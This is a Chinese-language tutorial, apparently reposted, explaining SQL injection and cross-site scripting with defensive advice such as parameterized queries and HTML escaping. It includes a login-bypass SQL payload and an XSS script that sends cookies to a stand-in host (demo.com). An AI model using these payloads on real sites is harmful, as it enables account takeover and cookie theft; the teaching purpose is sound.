預防XSs和sql注入常見分析


SQL注入簡介
SQL 注入漏洞(SQL Injection)是 Web 開發中最常見的一種安全漏洞。可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作,甚至有可能獲取數據庫乃至系統用戶最高權限。

而造成 SQL 注入的原因是因為程序沒有有效的轉義過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的 SQL 查詢代碼,程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。

很多 Web 開發者沒有意識到 SQL 查詢是可以被篡改的,從而把 SQL 查詢當作可信任的命令。殊不知,SQL 查詢是可以繞開訪問控制,從而繞過身份驗證和權限檢查的。更有甚者,有可能通過 SQL 查詢去運行主機系統級的命令。

SQL 注入原理
下面將通過一些真實的例子來詳細講解 SQL 注入的方式的原理。

考慮以下簡單的管理員登錄表單:

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陸" /></p>
</form>

后端的 SQL 語句可能是如下這樣的:

let querySQL = `
SELECT *
FROM user
WHERE username='${username}'
AND psw='${password}'
`;
// 接下來就是執行 sql 語句...

目的就是來驗證用戶名和密碼是不是正確,按理說乍一看上面的 SQL 語句也沒什么毛病,確實是能夠達到我們的目的,可是你只是站在用戶會老老實實按照你的設計來輸入的角度來看問題,如果有一個惡意攻擊者輸入的用戶名是 zhangsan’ OR 1 = 1 --,密碼隨意輸入,就可以直接登入系統了。

冷靜下來思考一下,我們之前預想的真實 SQL 語句是:

SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'
1
可以惡意攻擊者的奇怪用戶名將你的 SQL 語句變成了如下形式:

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'
1
在 SQL 中,-- 是注釋后面的內容的意思,所以查詢語句就變成了:

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1
1
這條 SQL 語句的查詢條件永遠為真,所以意思就是惡意攻擊者不用我的密碼,就可以登錄進我的賬號,然后可以在里面為所欲為,然而這還只是最簡單的注入,牛逼的 SQL 注入高手甚至可以通過 SQL 查詢去運行主機系統級的命令,將你主機里的內容一覽無余,這里我也沒有這個能力講解的太深入,畢竟不是專業研究這類攻擊的,但是通過以上的例子,已經了解了 SQL 注入的原理,我們基本已經能找到防御 SQL 注入的方案了。

預防 SQL 注入
防止 SQL 注入主要是不能允許用戶輸入的內容影響正常的 SQL 語句的邏輯,當用戶的輸入的信息將要用來拼接 SQL 語句的話,我們應該永遠選擇不相信,任何內容都必須進行轉義過濾,當然做到這個還是不夠的,下面列出防御 SQL 注入的幾點注意事項:

嚴格限制Web應用的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的最低權限,從而最大限度的減少注入攻擊對數據庫的危害
后端代碼檢查輸入的數據是否符合預期,嚴格限制變量的類型,例如使用正則表達式進行一些匹配處理。
對進入數據庫的特殊字符(’,",\,<,>,&,*,; 等)進行轉義處理,或編碼轉換。基本上所有的后端語言都有對字符串進行轉義處理的方法,比如 lodash 的 lodash._escapehtmlchar 庫。
所有的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中,即不要直接拼接 SQL 語句。例如 Node.js 中的 mysqljs 庫的 query 方法中的 ? 占位參數。
mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);
1
在應用發布之前建議使用專業的 SQL 注入檢測工具進行檢測,以及時修補被發現的 SQL 注入漏洞。網上有很多這方面的開源工具,例如 sqlmap、SQLninja 等。
避免網站打印出 SQL 錯誤信息,比如類型錯誤、字段不匹配等,把代碼里的 SQL 語句暴露出來,以防止攻擊者利用這些錯誤信息進行 SQL 注入。
不要過於細化返回的錯誤信息,如果目的是方便調試,就去使用后端日志,不要在接口上過多的暴露出錯信息,畢竟真正的用戶不關心太多的技術細節,只要話術合理就行。
XSS攻擊簡介
XSS 攻擊,即跨站腳本攻擊(Cross Site Scripting),它是 web 程序中常見的漏洞。 原理是攻擊者往 web 頁面里插入惡意的腳本代碼(CSS代碼、JavaScript代碼等),當用戶瀏覽該頁面時,嵌入其中的腳本代碼會被執行,從而達到惡意攻擊用戶的目的。如盜取用戶cookie,破壞頁面結構、重定向到其他網站等。

理論上來說,web 頁面中所有可由用戶輸入的地方,如果沒有對輸入的數據進行過濾處理的話,都會存在 XSS 漏洞;當然,我們也需要對模板視圖中的輸出數據進行過濾。

XSS 攻擊示例
有一個博客網站,提供了一個 web 頁面(內含表單)給所有的用戶發表博客,但該博客網站的開發人員並沒有對用戶提交的表單數據做任何過濾處理。 現在,我是一個攻擊者,在該博客網站發表了一篇博客,用於盜取其他用戶的cookie信息。博客內容如下:

<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>

這是一段 XSS 攻擊代碼。當其他用戶查看我的這篇博客時,他們的 cookie 信息就會被發送至我的 web 站點(http://demo.com/) ,如此,我就盜取了其他用戶的 cookie 信息。

預防 XSS 攻擊
核心思想
永遠不要相信用戶的輸入,必須對輸入的數據作過濾處理。

該函數會把字符串中的特殊字符轉化為 HTML 實體,這樣在輸出時,惡意的代碼就無法執行了。這些特殊字符主要是 ’ " & < >。

比如,我剛剛的惡意代碼被過濾后,會變為下面的代碼:

&lt;b&gt;This is a XSS test!&lt;/b&gt;
&lt;script&gt;
var cookie = document.cookie;
window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);
&lt;/script&gt;

這樣,就可以預防大部分 XSS 攻擊了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM